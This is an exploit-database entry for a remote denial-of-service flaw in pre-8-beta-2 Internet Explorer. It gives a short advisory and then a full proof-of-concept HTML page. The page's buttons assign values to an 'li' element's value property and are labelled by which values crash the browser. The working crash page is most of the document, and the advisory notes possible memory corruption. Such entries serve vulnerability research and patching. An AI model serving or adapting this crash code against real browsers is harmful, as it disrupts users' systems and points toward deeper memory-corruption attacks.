header-logo
Suggest Exploit
vendor:
Internet Explorer
by:
7.5
CVSS
HIGH
Remote Denial-of-Service
CWE
Product Name: Internet Explorer
Affected Version From: Prior to Internet Explorer 8 beta 2
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows

Remote Denial-of-Service Vulnerability in Microsoft Internet Explorer

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Given the nature of this issue, attackers may also be able to corrupt process memory and run arbitrary code, but this has not been confirmed.

Mitigation:

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/36070/info

Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Given the nature of this issue, attackers may also be able to corrupt process memory and run arbitrary code, but this has not been confirmed.

Versions prior to Internet Explorer 8 beta 2 are vulnerable. 

<html> <head> <title>IE Crash Example</title> </head> <body> <button type="button" onclick="document.createElement('li').value = null;">null - Okay</button> <button type="button" onclick="document.createElement('li').value = 0;">0 - Okay</button> <button type="button" onclick="document.createElement('li').value = 1;">1 - Crash</button> <button type="button" onclick="document.createElement('li').value = '1';">'1' - Crash</button> <button type="button" onclick="document.createElement('li').value = true;">true - Crash</button> <button type="button" onclick="document.createElement('li').value = 'true';">'true' - Okay</button> <button type="button" onclick="document.createElement('li').value = false;">false - Okay</button> <button type="button" onclick="document.createElement('li').value = [];">[] - Okay</button> <button type="button" onclick="document.createElement('li').value = [1];">[1] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['1'];">['1'] - Crash</button> <button type="button" onclick="document.createElement('li').value = ['true'];">['true'] - Okay</button> <button type="button" onclick="document.createElement('li').value = {};">{} - Okay</button> <button type="button" onclick="document.createElement('li').value = {count:1};">{count:1} - Okay</button> <button type="button" onclick="document.createElement('li').value = undefined;">undefined - Okay</button> <button type="button" onclick="document.createElement('li').value = function(){};">function(){} - Okay</button> </body> </html>